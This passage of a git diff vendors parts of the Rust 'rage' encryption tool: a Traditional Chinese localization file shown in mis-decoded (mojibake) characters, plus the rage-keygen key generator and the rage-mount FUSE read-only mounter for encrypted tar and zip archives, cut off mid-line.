您是å¦å¿˜è¨˜æŒ‡å®š {-flag-recipient} 標記? + +err-enc-mixed-identity-passphrase = {-flag-identity} å’Œ {-flag-passphrase} 標記ä¸å¯è¯ç”¨ã€‚ +err-enc-mixed-recipient-passphrase = {-flag-recipient} å’Œ {-flag-passphrase} 標記ä¸å¯è¯ç”¨ã€‚ +err-enc-mixed-recipients-file-passphrase = {-flag-recipients-file} å’Œ {-flag-passphrase} 標記ä¸å¯è¯ç”¨ã€‚ +err-enc-passphrase-without-file = 在使用 {-flag-passphrase} 時, å¿…å°‡è¦åŠ å¯†çš„æ–‡ä»¶å‚³éžç‚ºåƒæ•¸ã€‚ + +## Decryption errors + +rec-dec-excessive-work = è«‹é‡è©¦æŽ¡ç”¨ {-flag-max-work-factor} {$wf} 以解密 + +err-dec-armor-flag = {-flag-armor} å’Œ {-flag-decrypt} 標記ä¸å¯è¯ç”¨ã€‚ +rec-dec-armor-flag = 請注æ„,è£ç”²æ–‡ä»¶ (armored files) 會被自動檢測。 + +err-dec-missing-identities = 缺少身份。 +rec-dec-missing-identities = 您是å¦å¿˜è¨˜æŒ‡å®š {-flag-identity} 標記? + +err-dec-passphrase-flag = {-flag-passphrase} å’Œ {-flag-decrypt} 標記ä¸å¯è¯ç”¨ã€‚ +rec-dec-passphrase-flag = 請注æ„,以密碼短語加密的文件會被自動檢測。 + +err-dec-passphrase-without-file-win = + 該文件需è¦å¯†ç¢¼çŸ­èªžï¼› 在 Windows 中, 使用密碼短語解密時 + 必將解密的文件傳éžç‚ºä½ç½®åƒæ•¸ã€‚ + +err-dec-recipient-flag = {-flag-recipient} å’Œ {-flag-decrypt} ä¸å¯è¯ç”¨ã€‚ +err-dec-recipients-file-flag = {-flag-recipients-file} å’Œ {-flag-decrypt} ä¸å¯è¯ç”¨ã€‚ +rec-dec-recipient-flag = æ‚¨æ˜¯ä¸æ˜¯è¦ç”¨ {-flag-identity} 標記來指定ç§é‘°ï¼Ÿ + +## rage-mount strings + +-flag-mnt-types = -t/--types + +info-decrypting = 正在解密 {$filename} +info-mounting-as-fuse = 正掛載為 FUSE 文件系統 + +err-mnt-missing-filename = 缺少文件å。 +err-mnt-missing-mountpoint = 缺少掛載點。 +err-mnt-missing-types = 缺少 {-flag-mnt-types} 。 +err-mnt-unknown-type = 未知的文件系統類型 "{$fs_type}" + +## Unstable features + +test-unstable = 構建 {-rage} 時採用 {-flag-unstable} 以測試。 diff --git a/lib/rage/rage/src/bin/rage-keygen/cli.rs b/lib/rage/rage/src/bin/rage-keygen/cli.rs new file mode 100644 index 0000000..f54eb31 --- /dev/null +++ b/lib/rage/rage/src/bin/rage-keygen/cli.rs @@ -0,0 +1,48 @@ +use clap::{ + builder::{Styles, ValueHint}, + ArgAction, Parser, +}; + +use crate::fl; + +#[derive(Debug, Parser)] +#[command(display_name = "rage-keygen")] +#[command(name = "rage-keygen")] +#[command(author, version)] +#[command(help_template = format!("\ +{{before-help}}{{about-with-newline}} +{}{}:{} {{usage}} + +{{all-args}}{{after-help}}\ + ", + Styles::default().get_usage().render(), + fl!("usage-header"), + Styles::default().get_usage().render_reset()))] +#[command(next_help_heading = fl!("flags-header"))] +#[command(disable_help_flag(true))] +#[command(disable_version_flag(true))] +pub(crate) struct AgeOptions { + #[arg(help_heading = fl!("args-header"))] + #[arg(value_name = fl!("input"))] + #[arg(help = fl!("help-arg-input"))] + #[arg(value_hint = ValueHint::FilePath)] + pub(crate) input: Option, + + #[arg(action = ArgAction::Help, short, long)] + #[arg(help = fl!("help-flag-help"))] + pub(crate) help: Option, + + #[arg(action = ArgAction::Version, short = 'V', long)] + #[arg(help = fl!("help-flag-version"))] + pub(crate) version: Option, + + #[arg(short, long)] + #[arg(value_name = fl!("output"))] + #[arg(help = fl!("keygen-help-flag-output"))] + #[arg(value_hint = ValueHint::DirPath)] + pub(crate) output: Option, + + #[arg(short = 'y')] + #[arg(help = fl!("keygen-help-flag-convert"))] + pub(crate) convert: bool, +} diff --git a/lib/rage/rage/src/bin/rage-keygen/error.rs b/lib/rage/rage/src/bin/rage-keygen/error.rs new file mode 100644 index 0000000..75ee3e8 --- /dev/null +++ b/lib/rage/rage/src/bin/rage-keygen/error.rs @@ -0,0 +1,52 @@ +use std::fmt; +use std::io; + +use age::IdentityFileConvertError; + +macro_rules! wlnfl { + ($f:ident, $message_id:literal) => { + writeln!($f, "{}", $crate::fl!($message_id)) + }; + + ($f:ident, $message_id:literal, $($args:expr),* $(,)?) => { + writeln!($f, "{}", $crate::fl!($message_id, $($args), *)) + }; +} + +pub(crate) enum Error { + FailedToOpenInput(io::Error), + FailedToOpenOutput(io::Error), + FailedToReadInput(io::Error), + FailedToWriteOutput(io::Error), + IdentityFileConvert(IdentityFileConvertError), +} + +// Rust only supports `fn main() -> Result<(), E: Debug>`, so we implement `Debug` +// manually to provide the error output we want. +impl fmt::Debug for Error { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Error::FailedToOpenInput(e) => { + wlnfl!(f, "err-failed-to-open-input", err = e.to_string())? + } + Error::FailedToOpenOutput(e) => { + wlnfl!(f, "err-failed-to-open-output", err = e.to_string())? + } + Error::FailedToReadInput(e) => { + wlnfl!(f, "err-failed-to-read-input", err = e.to_string())? + } + Error::FailedToWriteOutput(e) => { + wlnfl!(f, "err-failed-to-write-output", err = e.to_string())? + } + Error::IdentityFileConvert(e) => writeln!(f, "{e}")?, + } + writeln!(f)?; + writeln!(f, "[ {} ]", crate::fl!("err-ux-A"))?; + write!( + f, + "[ {}: https://str4d.xyz/rage/report {} ]", + crate::fl!("err-ux-B"), + crate::fl!("err-ux-C") + ) + } +} diff --git a/lib/rage/rage/src/bin/rage-keygen/main.rs b/lib/rage/rage/src/bin/rage-keygen/main.rs new file mode 100644 index 0000000..a9ea54e --- /dev/null +++ b/lib/rage/rage/src/bin/rage-keygen/main.rs @@ -0,0 +1,86 @@ +#![forbid(unsafe_code)] + +use age::{cli_common::file_io, secrecy::ExposeSecret}; +use clap::Parser; +use i18n_embed::DesktopLanguageRequester; + +use std::io::{self, Write}; + +mod cli; +mod error; + +mod i18n { + include!("../rage/i18n.rs"); +} + +#[macro_export] +macro_rules! fl { + ($message_id:literal) => {{ + i18n_embed_fl::fl!($crate::i18n::LANGUAGE_LOADER, $message_id) + }}; + + ($message_id:literal, $($args:expr),* $(,)?) => {{ + i18n_embed_fl::fl!($crate::i18n::LANGUAGE_LOADER, $message_id, $($args), *) + }}; +} + +fn main() -> Result<(), error::Error> { + env_logger::builder() + .format_timestamp(None) + .filter_level(log::LevelFilter::Off) + .parse_default_env() + .init(); + + let requested_languages = DesktopLanguageRequester::requested_languages(); + i18n::load_languages(&requested_languages); + age::localizer().select(&requested_languages).unwrap(); + + let opts = cli::AgeOptions::parse(); + + let output = file_io::OutputWriter::new( + opts.output, + false, + file_io::OutputFormat::Text, + 0o600, + false, + ) + .map_err(error::Error::FailedToOpenOutput)?; + + if opts.convert { + convert(opts.input, output) + } else { + generate(output).map_err(error::Error::FailedToWriteOutput) + } +} + +fn generate(mut output: file_io::OutputWriter) -> io::Result<()> { + let sk = age::x25519::Identity::generate(); + let pk = sk.to_public(); + + writeln!( + output, + "# {}: {}", + fl!("identity-file-created"), + chrono::Local::now().to_rfc3339_opts(chrono::SecondsFormat::Secs, true) + )?; + writeln!(output, "# {}: {}", fl!("identity-file-pubkey"), pk)?; + writeln!(output, "{}", sk.to_string().expose_secret())?; + + if !output.is_terminal() { + eprintln!("{}: {}", fl!("tty-pubkey"), pk); + } + + Ok(()) +} + +fn convert(filename: Option, output: file_io::OutputWriter) -> Result<(), error::Error> { + let file = age::IdentityFile::from_input_reader( + file_io::InputReader::new(filename).map_err(error::Error::FailedToOpenInput)?, + ) + .map_err(error::Error::FailedToReadInput)?; + + file.write_recipients_file(output) + .map_err(error::Error::IdentityFileConvert)?; + + Ok(()) +} diff --git a/lib/rage/rage/src/bin/rage-mount/cli.rs b/lib/rage/rage/src/bin/rage-mount/cli.rs new file mode 100644 index 0000000..66e4099 --- /dev/null +++ b/lib/rage/rage/src/bin/rage-mount/cli.rs @@ -0,0 +1,61 @@ +use clap::{ + builder::{Styles, ValueHint}, + ArgAction, Parser, +}; + +use crate::fl; + +pub(crate) const TYPES: &str = "\"tar\", \"zip\""; + +#[derive(Debug, Parser)] +#[command(display_name = "rage-mount")] +#[command(name = "rage-mount")] +#[command(author, version)] +#[command(help_template = format!("\ +{{before-help}}{{about-with-newline}} +{}{}:{} {{usage}} + +{{all-args}}{{after-help}}\ + ", + Styles::default().get_usage().render(), + fl!("usage-header"), + Styles::default().get_usage().render_reset()))] +#[command(next_help_heading = fl!("flags-header"))] +#[command(disable_help_flag(true))] +#[command(disable_version_flag(true))] +pub(crate) struct AgeMountOptions { + #[arg(help_heading = fl!("args-header"))] + #[arg(value_name = fl!("mnt-filename"))] + #[arg(help = fl!("help-arg-mnt-filename"))] + #[arg(value_hint = ValueHint::FilePath)] + pub(crate) filename: String, + + #[arg(help_heading = fl!("args-header"))] + #[arg(value_name = fl!("mnt-mountpoint"))] + #[arg(help = fl!("help-arg-mnt-mountpoint"))] + #[arg(value_hint = ValueHint::DirPath)] + pub(crate) mountpoint: String, + + #[arg(action = ArgAction::Help, short, long)] + #[arg(help = fl!("help-flag-help"))] + pub(crate) help: Option, + + #[arg(action = ArgAction::Version, short = 'V', long)] + #[arg(help = fl!("help-flag-version"))] + pub(crate) version: Option, + + #[arg(short, long)] + #[arg(value_name = fl!("mnt-types"))] + #[arg(help = fl!("help-arg-mnt-types", types = TYPES))] + pub(crate) types: String, + + #[arg(long, value_name = "WF")] + #[arg(help = fl!("help-flag-max-work-factor"))] + pub(crate) max_work_factor: Option, + + #[arg(short, long)] + #[arg(value_name = fl!("identity"))] + #[arg(help = fl!("help-flag-identity"))] + #[arg(value_hint = ValueHint::FilePath)] + pub(crate) identity: Vec, +} diff --git a/lib/rage/rage/src/bin/rage-mount/main.rs b/lib/rage/rage/src/bin/rage-mount/main.rs new file mode 100644 index 0000000..4f58113 --- /dev/null +++ b/lib/rage/rage/src/bin/rage-mount/main.rs @@ -0,0 +1,242 @@ +#![forbid(unsafe_code)] + +use age::{ + armor::ArmoredReader, + cli_common::{read_identities, read_secret, StdinGuard}, + scrypt, + stream::StreamReader, +}; +use clap::{CommandFactory, Parser}; +use fuse_mt::FilesystemMT; +use fuser::MountOption; +use i18n_embed::DesktopLanguageRequester; +use log::info; + +use std::fmt; +use std::fs::File; +use std::io; +use std::sync::mpsc; + +mod cli; +mod tar; +mod zip; + +mod i18n { + include!("../rage/i18n.rs"); +} + +#[macro_export] +macro_rules! fl { + ($message_id:literal) => {{ + i18n_embed_fl::fl!($crate::i18n::LANGUAGE_LOADER, $message_id) + }}; + + ($message_id:literal, $($args:expr),* $(,)?) => {{ + i18n_embed_fl::fl!($crate::i18n::LANGUAGE_LOADER, $message_id, $($args), *) + }}; +} + +macro_rules! wfl { + ($f:ident, $message_id:literal) => { + write!($f, "{}", fl!($message_id)) + }; + + ($f:ident, $message_id:literal, $($args:expr),* $(,)?) => { + write!($f, "{}", fl!($message_id, $($args), *)) + }; +} + +macro_rules! wlnfl { + ($f:ident, $message_id:literal) => { + writeln!($f, "{}", fl!($message_id)) + }; + + ($f:ident, $message_id:literal, $($args:expr),* $(,)?) => { + writeln!($f, "{}", fl!($message_id, $($args), *)) + }; +} + +enum Error { + Age(age::DecryptError), + IdentityRead(age::cli_common::ReadError), + Io(io::Error), + MissingFilename, + MissingIdentities, + MissingMountpoint, + MissingType, + UnknownType(String), +} + +impl From for Error { + fn from(e: age::DecryptError) -> Self { + Error::Age(e) + } +} + +impl From for Error { + fn from(e: age::cli_common::ReadError) -> Self { + Error::IdentityRead(e) + } +} + +impl From for Error { + fn from(e: io::Error) -> Self { + Error::Io(e) + } +} + +// Rust only supports `fn main() -> Result<(), E: Debug>`, so we implement `Debug` +// manually to provide the error output we want. +impl fmt::Debug for Error { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Error::Age(e) => match e { + age::DecryptError::ExcessiveWork { required, .. } => { + writeln!(f, "{}", e)?; + wfl!(f, "rec-dec-excessive-work", wf = required) + } + _ => write!(f, "{}", e), + }, + Error::IdentityRead(e) => write!(f, "{}", e), + Error::Io(e) => write!(f, "{}", e), + Error::MissingFilename => wfl!(f, "err-mnt-missing-filename"), + Error::MissingIdentities => { + wlnfl!(f, "err-dec-missing-identities")?; + wlnfl!(f, "rec-dec-missing-identities") + } + Error::MissingMountpoint => wfl!(f, "err-mnt-missing-mountpoint"), + Error::MissingType => wfl!(f, "err-mnt-missing-types"), + Error::UnknownType(t) => wfl!(f, "err-mnt-unknown-type", fs_type = t.as_str()), + }?; + writeln!(f)?; + writeln!(f, "[ {} ]", fl!("err-ux-A"))?; + write!( + f, + "[ {}: https://str4d.xyz/rage/report {} ]", + fl!("err-ux-B"), + fl!("err-ux-C") + ) + } +} + +fn mount_fs( + open: F, + mountpoint: String, + finished: mpsc::Receiver<()>, +) -> Result<(), Error> +where + F: FnOnce() -> io::Result, +{ + let fs = open().map(|fs| fuse_mt::FuseMT::new(fs, 1))?; + info!("{}", fl!("info-mounting-as-fuse")); + + // Mount the filesystem. + let handle = fuser::spawn_mount2(fs, mountpoint, &[MountOption::RO])?; + + // Wait until we are done. + finished.recv().expect("Could not receive from channel."); + + // Ensure the filesystem is unmounted. + handle.join(); + + Ok(()) +} + +fn mount_stream( + stream: StreamReader>>, + types: String, + mountpoint: String, +) -> Result<(), Error> { + // We want to block until either Ctrl-C, or the filesystem is unmounted externally. + // Set up a channel for notifying the main thread that we should exit. + let (tx, finished) = mpsc::sync_channel(2); + let destroy_tx = tx.clone(); + ctrlc::set_handler(move || tx.send(()).expect("Could not send signal on channel.")) + .expect("Error setting Ctrl-C handler"); + + match types.as_str() { + "tar" => mount_fs( + || crate::tar::AgeTarFs::open(stream, destroy_tx), + mountpoint, + finished, + ), + "zip" => mount_fs( + || crate::zip::AgeZipFs::open(stream, destroy_tx), + mountpoint, + finished, + ), + _ => Err(Error::UnknownType(types)), + } +} + +fn main() -> Result<(), Error> { + use std::env::args; + + env_logger::builder() + .format_timestamp(None) + .filter_level(log::LevelFilter::Off) + .parse_default_env() + .init(); + + let requested_languages = DesktopLanguageRequester::requested_languages(); + i18n::load_languages(&requested_languages); + age::localizer().select(&requested_languages).unwrap(); + + if console::user_attended() && args().len() == 1 { + cli::AgeMountOptions::command().print_help()?; + return Ok(()); + } + + let opts = cli::AgeMountOptions::parse(); + + if opts.filename.is_empty() { + return Err(Error::MissingFilename); + } + if opts.mountpoint.is_empty() { + return Err(Error::MissingMountpoint); + } + if opts.types.is_empty() { + return Err(Error::MissingType); + } + + info!( + "{}", + fl!("info-decrypting", filename = opts.filename.as_str()), + ); + let file = File::open(opts.filename)?; + + let types = opts.types; + let mountpoint = opts.mountpoint; + + let mut stdin_guard = StdinGuard::new(false); + + let decryptor = age::Decryptor::new_buffered(ArmoredReader::new(file))?; + + if decryptor.is_scrypt() { + match read_secret(&fl!("type-passphrase"), &fl!("prompt-passphrase"), None) { + Ok(passphrase) => { + let mut identity = scrypt::Identity::new(passphrase); + if let Some(max_work_factor) = opts.max_work_factor { + identity.set_max_work_factor(max_work_factor); + } + + decryptor + .decrypt(Some(&identity as _).into_iter()) + .map_err(|e| e.into()) + .and_then(|stream| mount_stream(stream, types, mountpoint)) + } + Err(_) => Ok(()), + } + } else { + let identities = read_identities(opts.identity, opts.max_work_factor, &mut stdin_guard)?; + + if identities.is_empty() { + return Err(Error::MissingIdentities); + } + + decryptor + .decrypt(identities.iter().map(|i| &**i)) + .map_err(|e| e.into()) + .and_then(|stream| mount_stream(stream, types, mountpoint)) + } +} diff --git a/lib/rage/rage/src/bin/rage-mount/tar.rs b/lib/rage/rage/src/bin/rage-mount/tar.rs new file mode 100644 index 0000000..9f4e071 --- /dev/null +++ b/lib/rage/rage/src/bin/rage-mount/tar.rs @@ -0,0 +1,297 @@ +use age::{armor::ArmoredReader, stream::StreamReader}; +use fuse_mt::*; +use std::collections::HashMap; +use std::fs::File; +use std::io::{self, BufReader, Read, Seek, SeekFrom}; +use std::path::{Path, PathBuf}; +use std::sync::{mpsc, Mutex}; +use std::time::{Duration, SystemTime}; + +use tar::{Archive, Entry, EntryType}; + +fn tar_path(path: &Path) -> &Path { + path.strip_prefix("/").unwrap() +} + +fn tar_to_filetype(entry: &Entry) -> Option { + // Only map filetypes we support + match entry.header().entry_type() { + EntryType::Regular => Some(FileType::RegularFile), + EntryType::Directory => Some(FileType::Directory), + EntryType::Continuous => Some(FileType::RegularFile), + EntryType::GNULongName => Some(FileType::RegularFile), + _ => None, + } +} + +fn tar_to_fuse(entry: &Entry) -> io::Result { + let kind = tar_to_filetype(entry) + .ok_or_else(|| io::Error::new(io::ErrorKind::Other, "Unsupported filetype"))?; + let perm = (entry.header().mode()? & 0o7777) as u16; + + let mtime = SystemTime::UNIX_EPOCH + Duration::new(entry.header().mtime()? as u64, 0); + let ctime = if let Some(header) = entry.header().as_gnu() { + header + .ctime() + .map(|ctime| SystemTime::UNIX_EPOCH + Duration::new(ctime as u64, 0)) + .unwrap_or(mtime) + } else { + mtime + }; + let atime = if let Some(header) = entry.header().as_gnu() { + header + .atime() + .map(|atime| SystemTime::UNIX_EPOCH + Duration::new(atime as u64, 0)) + .unwrap_or(mtime) + } else { + mtime + }; + + Ok(FileAttr { + size: entry.header().size()?, + blocks: 1, + atime, + mtime, + ctime, + crtime: SystemTime::UNIX_EPOCH, + kind, + perm, + nlink: 1, + uid: entry.header().uid()? as u32, + gid: entry.header().gid()? as u32, + rdev: 0, + flags: 0, + }) +} + +const ROOT_ATTR: FileAttr = FileAttr { + size: 0, + blocks: 0, + atime: SystemTime::UNIX_EPOCH, + mtime: SystemTime::UNIX_EPOCH, + ctime: SystemTime::UNIX_EPOCH, + crtime: SystemTime::UNIX_EPOCH, + kind: FileType::Directory, + perm: 0o0755, + nlink: 1, + uid: 1000, + gid: 1000, + rdev: 0, + flags: 0, +}; + +fn add_to_dir_map( + dir_map: &mut HashMap>, + path: &Path, + kind: FileType, +) { + let name = path + .file_name() + .expect("All files in tarballs have names") + .to_owned(); + + let parent = path + .parent() + .expect("paths should have parents") + .to_path_buf(); + + // tar files are listed in-order, so the parent has already been added. + dir_map + .entry(parent) + .or_default() + .push(DirectoryEntry { name, kind }); +} + +type OpenFile = (PathBuf, u64, u64); + +pub struct AgeTarFs { + inner: Mutex>>>, + destroy_tx: mpsc::SyncSender<()>, + dir_map: HashMap>, + file_map: HashMap, + open_dirs: Mutex<(HashMap, u64)>, + open_files: Mutex<(HashMap, u64)>, +} + +impl AgeTarFs { + pub fn open( + stream: StreamReader>>, + destroy_tx: mpsc::SyncSender<()>, + ) -> io::Result { + // Build a directory listing for the archive + let mut dir_map: HashMap> = HashMap::new(); + dir_map.insert(PathBuf::new(), vec![]); // the root + + // Build a file map for the archive + let mut file_map: HashMap = HashMap::new(); + + let mut archive = Archive::new(stream); + for file in archive.entries().expect("StreamReader is at start") { + let file = file?; + if let Some(filetype) = tar_to_filetype(&file) { + let path = file.path()?; + add_to_dir_map(&mut dir_map, &path, filetype); + file_map.insert( + path.to_path_buf(), + (tar_to_fuse(&file)?, file.raw_file_position()), + ); + } + } + + Ok(AgeTarFs { + inner: Mutex::new(archive.into_inner()), + destroy_tx, + dir_map, + file_map, + open_dirs: Mutex::new((HashMap::new(), 0)), + open_files: Mutex::new((HashMap::new(), 0)), + }) + } +} + +const TTL: Duration = Duration::from_secs(1); + +impl FilesystemMT for AgeTarFs { + fn destroy(&self) { + self.destroy_tx + .send(()) + .expect("Could not send signal on channel."); + } + + fn getattr(&self, _req: RequestInfo, path: &Path, fh: Option) -> ResultEntry { + let open_dirs = self.open_dirs.lock().unwrap(); + let open_files = self.open_files.lock().unwrap(); + + if let Some(fh) = fh { + if let Some((attr, _)) = open_dirs + .0 + .get(&fh) + .and_then(|path| self.file_map.get(path)) + { + Ok((TTL, *attr)) + } else if let Some((attr, _)) = open_files + .0 + .get(&fh) + .and_then(|(path, _, _)| self.file_map.get(path)) + { + Ok((TTL, *attr)) + } else { + Err(libc::EBADF) + } + } else { + let path = tar_path(path); + if path.parent().is_none() { + Ok((TTL, ROOT_ATTR)) + } else if let Some((attr, _)) = self.file_map.get(path) { + Ok((TTL, *attr)) + } else { + Err(libc::ENOENT) + } + } + } + + fn opendir(&self, _req: RequestInfo, path: &Path, _flags: u32) -> ResultOpen { + let mut open_dirs = self.open_dirs.lock().unwrap(); + + let fh = open_dirs.1; + let path = tar_path(path); + + open_dirs.0.insert(fh, path.to_path_buf()); + open_dirs.1 = open_dirs.1.wrapping_add(1); + + Ok((fh, 0)) + } + + fn readdir(&self, _req: RequestInfo, _path: &Path, fh: u64) -> ResultReaddir { + let open_dirs = self.open_dirs.lock().unwrap(); + + if let Some(path) = open_dirs.0.get(&fh) { + Ok(self.dir_map.get(path).cloned().unwrap_or_default()) + } else { + Err(libc::EBADF) + } + } + + fn releasedir(&self, _req: RequestInfo, _path: &Path, fh: u64, _flags: u32) -> ResultEmpty { + let mut open_dirs = self.open_dirs.lock().unwrap(); + + open_dirs.0.remove(&fh).map(|_| ()).ok_or(libc::EBADF) + } + + fn statfs(&self, _req: RequestInfo, _path: &Path) -> ResultStatfs { + Ok(Statfs { + blocks: self.file_map.len() as u64, + bfree: 0, + bavail: 0, + files: self.file_map.len() as u64, + ffree: 0, + bsize: 64 * 1024, + namelen: u32::max_value(), + frsize: 64 * 1024, + }) + } + + fn open(&self, _req: RequestInfo, path: &Path, _flags: u32) -> ResultOpen { + let mut open_files = self.open_files.lock().unwrap(); + + if let Some((attr, pos)) = self.file_map.get(tar_path(path)) { + let fh = open_files.1; + open_files + .0 + .insert(fh, (path.to_path_buf(), *pos, attr.size)); + open_files.1 = open_files.1.wrapping_add(1); + Ok((fh, 0)) + } else { + Err(libc::ENOENT) + } + } + + fn read( + &self, + _req: RequestInfo, + _path: &Path, + fh: u64, + offset: u64, + size: u32, + callback: impl FnOnce(ResultSlice<'_>) -> CallbackResult, + ) -> CallbackResult { + let mut inner = self.inner.lock().unwrap(); + let open_files = self.open_files.lock().unwrap(); + + if let Some((_, pos, file_size)) = open_files.0.get(&fh) { + if offset > *file_size { + return callback(Err(libc::EINVAL)); + } + + // Skip to offset + if inner.seek(SeekFrom::Start(pos + offset)).is_err() { + return callback(Err(libc::EIO)); + } + + // Read bytes + let to_read = usize::min(size as usize, (file_size - offset) as usize); + let mut buf = vec![]; + buf.resize(to_read, 0); + match inner.read_exact(&mut buf) { + Ok(_) => callback(Ok(&buf)), + Err(_) => callback(Err(libc::EIO)), + } + } else { + callback(Err(libc::EBADF)) + } + } + + fn release( + &self, + _req: RequestInfo, + _path: &Path, + fh: u64, + _flags: u32, + _lock_owner: u64, + _flush: bool, + ) -> ResultEmpty { + let mut open_files = self.open_files.lock().unwrap(); + + open_files.0.remove(&fh).map(|_| ()).ok_or(libc::EBADF) + } +} diff --git a/lib/rage/rage/src/bin/rage-mount/zip.rs b/lib/rage/rage/src/bin/rage-mount/zip.rs new file mode 100644 index 0000000..30b7e24 --- /dev/null +++ b/lib/rage/rage/src/bin/rage-mount/zip.rs @@ -0,0 +1,267 @@ +use age::{armor::ArmoredReader, stream::StreamReader}; +use fuse_mt::*; +use std::collections::HashMap; +use std::fs::File; +use std::io::{self, BufReader, Read}; +use std::path::{Path, PathBuf}; +use std::sync::{mpsc, Mutex}; +use std::time::{Duration, SystemTime}; +use zip::{read::ZipFile, ZipArchive}; + +fn zip_path(path: &Path) -> &Path { + path.strip_prefix("/").unwrap() +} + +fn zipfile_to_filetype(zf: &ZipFile) -> FileType { + if zf.is_dir() { + FileType::Directory + } else { + FileType::RegularFile + } +} + +fn zipfile_to_fuse(zf: &ZipFile) -> FileAttr { + let kind = zipfile_to_filetype(zf); + let perm = (zf.unix_mode().unwrap_or(0) & 0o7777) as u16; + let mtime: SystemTime = zf.last_modified().to_time().unwrap().into(); + + FileAttr { + size: zf.size() as u64, + blocks: 1, + atime: mtime, + mtime, + ctime: mtime, + crtime: SystemTime::UNIX_EPOCH, + kind, + perm, + nlink: 1, + uid: 1000, + gid: 1000, + rdev: 0, + flags: 0, + } +} + +const DIR_ATTR: FileAttr = FileAttr { + size: 0, + blocks: 0, + atime: SystemTime::UNIX_EPOCH, + mtime: SystemTime::UNIX_EPOCH, + ctime: SystemTime::UNIX_EPOCH, + crtime: SystemTime::UNIX_EPOCH, + kind: FileType::Directory, + perm: 0o0755, + nlink: 1, + uid: 1000, + gid: 1000, + rdev: 0, + flags: 0, +}; + +fn add_dir_to_map( + dir_map: &mut HashMap>, + path: &Path, + kind: FileType, +) { + let name = path + .file_name() + .expect("All ZIP files have filenames") + .to_owned(); + + let parent = path + .parent() + .expect("paths should have parents") + .to_path_buf(); + + if !dir_map.contains_key(&parent) { + add_dir_to_map(dir_map, &parent, FileType::Directory); + } + + dir_map + .entry(parent) + .or_default() + .push(DirectoryEntry { name, kind }); +} + +pub struct AgeZipFs { + inner: Mutex>>>>, + destroy_tx: mpsc::SyncSender<()>, + dir_map: HashMap>, + open_dirs: Mutex<(HashMap, u64)>, + open_files: Mutex<(HashMap, u64)>, +} + +impl AgeZipFs { + pub fn open( + stream: StreamReader>>, + destroy_tx: mpsc::SyncSender<()>, + ) -> io::Result { + let mut archive = + ZipArchive::new(stream).map_err(|e| io::Error::new(io::ErrorKind::Other, e))?; + + // Build a directory listing for the archive + let mut dir_map: HashMap> = HashMap::new(); + dir_map.insert(PathBuf::new(), vec![]); // the root + for i in 0..archive.len() { + let zf = archive + .by_index(i) + .map_err(|e| io::Error::new(io::ErrorKind::Other, e))?; + if let Some(path) = zf.enclosed_name() { + add_dir_to_map(&mut dir_map, path, zipfile_to_filetype(&zf)); + } + } + + Ok(AgeZipFs { + inner: Mutex::new(archive), + destroy_tx, + dir_map, + open_dirs: Mutex::new((HashMap::new(), 0)), + open_files: Mutex::new((HashMap::new(), 0)), + }) + } +} + +const TTL: Duration = Duration::from_secs(1); + +impl FilesystemMT for AgeZipFs { + fn destroy(&self) { + self.destroy_tx + .send(()) + .expect("Could not send signal on channel."); + } + + fn getattr(&self, _req: RequestInfo, path: &Path, fh: Option) -> ResultEntry { + let mut inner = self.inner.lock().unwrap(); + let open_dirs = self.open_dirs.lock().unwrap(); + let open_files = self.open_files.lock().unwrap(); + + if let Some(fh) = fh { + if open_dirs.0.contains_key(&fh) { + Ok((TTL, DIR_ATTR)) + } else if let Some(index) = open_files.0.get(&fh) { + let zf = inner.by_index(*index).expect("open_files is correct"); + Ok((TTL, zipfile_to_fuse(&zf))) + } else { + Err(libc::EBADF) + } + } else if self.dir_map.contains_key(zip_path(path)) { + Ok((TTL, DIR_ATTR)) + } else { + match inner.by_name(zip_path(path).to_str().unwrap()) { + Ok(zf) => Ok((TTL, zipfile_to_fuse(&zf))), + Err(_) => Err(libc::ENOENT), + } + } + } + + fn opendir(&self, _req: RequestInfo, path: &Path, _flags: u32) -> ResultOpen { + let mut open_dirs = self.open_dirs.lock().unwrap(); + + let fh = open_dirs.1; + let path = zip_path(path); + + open_dirs.0.insert(fh, path.to_path_buf()); + open_dirs.1 = open_dirs.1.wrapping_add(1); + + Ok((fh, 0)) + } + + fn readdir(&self, _req: RequestInfo, _path: &Path, fh: u64) -> ResultReaddir { + let open_dirs = self.open_dirs.lock().unwrap(); + + if let Some(path) = open_dirs.0.get(&fh) { + Ok(self.dir_map.get(path).cloned().unwrap_or_default()) + } else { + Err(libc::EBADF) + } + } + + fn releasedir(&self, _req: RequestInfo, _path: &Path, fh: u64, _flags: u32) -> ResultEmpty { + let mut open_dirs = self.open_dirs.lock().unwrap(); + + open_dirs.0.remove(&fh).map(|_| ()).ok_or(libc::EBADF) + } + + fn statfs(&self, _req: RequestInfo, _path: &Path) -> ResultStatfs { + let inner = self.inner.lock().unwrap(); + + Ok(Statfs { + blocks: inner.len() as u64, + bfree: 0, + bavail: 0, + files: inner.len() as u64, + ffree: 0, + bsize: 64 * 1024, + namelen: u32::max_value(), + frsize: 64 * 1024, + }) + } + + fn open(&self, _req: RequestInfo, path: &Path, _flags: u32) -> ResultOpen { + let mut inner = self.inner.lock().unwrap(); + let mut open_files = self.open_files.lock().unwrap(); + + for i in 0..inner.len() { + if inner.by_index(i).unwrap().enclosed_name() == Some(zip_path(path)) { + let fh = open_files.1; + open_files.0.insert(fh, i); + open_files.1 = open_files.1.wrapping_add(1); + return Ok((fh, 0)); + } + } + + Err(libc::ENOENT) + } + + fn read( + &self, + _req: RequestInfo, + _path: &Path, + fh: u64, + offset: u64, + size: u32, + callback: impl FnOnce(ResultSlice<'_>) -> CallbackResult, + ) -> CallbackResult { + let mut inner = self.inner.lock().unwrap(); + let open_files = self.open_files.lock().unwrap(); + + match open_files.0.get(&fh) { + Some(index) => { + let mut zf = inner.by_index(*index).expect("open_files is correct"); + if offset > zf.size() { + return callback(Err(libc::EINVAL)); + } + + // Skip to offset + let mut buf = vec![]; + buf.resize(offset as usize, 0); + if zf.read_exact(&mut buf).is_err() { + return callback(Err(libc::EIO)); + } + + // Read bytes + let to_read = usize::min(size as usize, (zf.size() - offset) as usize); + buf.resize(to_read, 0); + match zf.read_exact(&mut buf) { + Ok(_) => callback(Ok(&buf)), + Err(_) => callback(Err(libc::EIO)), + } + } + None => callback(Err(libc::EBADF)), + } + } + + fn release( + &self, + _req: RequestInfo, + _path: &Path, + fh: u64, + _flags: u32, + _lock_owner: u64, + _flush: bool, + ) -> ResultEmpty { + let mut open_files = self.open_files.lock().unwrap(); + + open_files.0.remove(&fh).map(|_| 